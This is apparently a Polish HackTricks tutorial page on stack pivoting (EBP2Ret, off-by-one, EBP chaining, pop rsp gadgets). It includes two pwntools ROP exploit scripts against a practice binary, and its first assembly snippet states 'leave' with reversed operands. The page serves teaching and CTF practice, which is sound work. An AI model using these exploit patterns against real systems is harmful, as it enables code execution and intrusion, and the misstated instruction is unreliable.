hacktricks/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

9.6 KiB

Stack Pivoting - EBP2Ret - EBP chaining

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Ta technika wykorzystuje możliwość manipulacji Wskaźnikiem Bazowym (EBP) do łańcuchowego wykonywania wielu funkcji poprzez ostrożne wykorzystanie rejestru EBP i sekwencji instrukcji leave; ret.

Jako przypomnienie, leave oznacza w zasadzie:

mov       ebp, esp
pop       ebp
ret

I ponieważ EBP znajduje się na stosie przed EIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.

EBP2Ret

Ta technika jest szczególnie przydatna, gdy można zmienić rejestr EBP, ale nie ma bezpośredniego sposobu na zmianę rejestru EIP. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.

Jeśli podczas wykonywania fvuln uda ci się wstrzyknąć fałszywy EBP na stosie wskazujący na obszar w pamięci, gdzie znajduje się adres twojego kodu powłoki (plus 4 bajty na operację pop), możesz pośrednio kontrolować EIP. Gdy fvuln zwraca, ESP jest ustawiane na ten spreparowany adres, a następna operacja pop zmniejsza ESP o 4 bajty, efektywnie wskazując na adres przechowywany przez atakującego.
Zauważ, że musisz znać 2 adresy: Ten, gdzie ma trafić ESP, gdzie będziesz musiał zapisać adres wskazywany przez ESP.

Konstrukcja ataku

Najpierw musisz znać adres, gdzie możesz zapisać dowolne dane / adresy. ESP będzie wskazywał tutaj i wykona pierwsze ret.

Następnie musisz znać adres używany przez ret, który wykona kod dowolny. Możesz użyć:

  • Prawidłowy adres ONE_GADGET.
  • Adres system() poprzedzony 4 niepotrzebnymi bajtami i adresem "/bin/sh" (bity x86).
  • Adres gadżetu jump esp; (ret2esp) poprzedzony kodem powłoki do wykonania.
  • Kilka łańcuchów ROP.

Pamiętaj, że przed każdym z tych adresów w kontrolowanej części pamięci muszą być 4 bajty z powodu części pop instrukcji leave. Można byłoby wykorzystać te 4B, aby ustawić drugiego fałszywego EBP i kontynuować kontrolowanie wykonania.

Atak Off-By-One

Istnieje specyficzna wersja tej techniki znana jako "Atak Off-By-One". Jest używana, gdy można zmodyfikować tylko najmniej znaczący bajt EBP. W takim przypadku lokalizacja pamięci przechowująca adres do skoku z ret musi dzielić trzy pierwsze bajty z EBP, co pozwala na podobną manipulację przy bardziej ograniczonych warunkach.
Zazwyczaj modyfikuje się bajt 0x00, aby skoczyć jak najdalej.

Jest również powszechne użycie ślizgu RET na stosie i umieszczenie prawdziwego łańcucha ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskaże do środka RET SLED, a ostateczny łańcuch ROP zostanie wykonany.

Łańcuchowanie EBP

Dlatego umieszczenie kontrolowanego adresu w wpisie EBP na stosie i adresu do leave; ret w EIP pozwala na przeniesienie ESP do kontrolowanego adresu EBP ze stosu.

Teraz ESP jest kontrolowany, wskazując na pożądany adres, a następną instrukcją do wykonania jest RET. Aby wykorzystać to, można umieścić w kontrolowanym miejscu ESP to:

  • &(następny fałszywy EBP) -> Wczytaj nowy EBP z powodu pop ebp z instrukcji leave
  • system() -> Wywołane przez ret
  • &(leave;ret) -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie ponownie
  • &("/bin/sh")-> Parametr dla system

W ten sposób można łańcuchować kilka fałszywych EBPs, aby kontrolować przepływ programu.

To jest podobne do ret2lib, ale bardziej złożone bez oczywistej korzyści, ale może być interesujące w niektórych skrajnych przypadkach.

Ponadto, tutaj masz przykład wyzwania, które wykorzystuje tę technikę z wyciekiem stosu, aby wywołać funkcję wygrywającą. To jest ostateczny ładunek ze strony:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP może nie być używany

Jak wyjaśniono w tym poście, jeśli binarny jest skompilowany z pewnymi optymalizacjami, EBP nigdy nie kontroluje ESP, dlatego też jakiekolwiek wykorzystanie, które działa poprzez kontrolę EBP, zasadniczo zawiedzie, ponieważ nie ma to żadnego rzeczywistego efektu.
Dzieje się tak, ponieważ prolog i epilog ulegają zmianie, jeśli binarny jest zoptymalizowany.

  • Niezoptymalizowany:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Zoptymalizowane:
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Inne sposoby kontrolowania RSP

Gadżet pop rsp

Na tej stronie znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a dostępny był gadżet pop rsp oraz wyciek ze stosu:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadzet

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Sprawdź technikę ret2esp tutaj:

{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}

Referencje i Inne Przykłady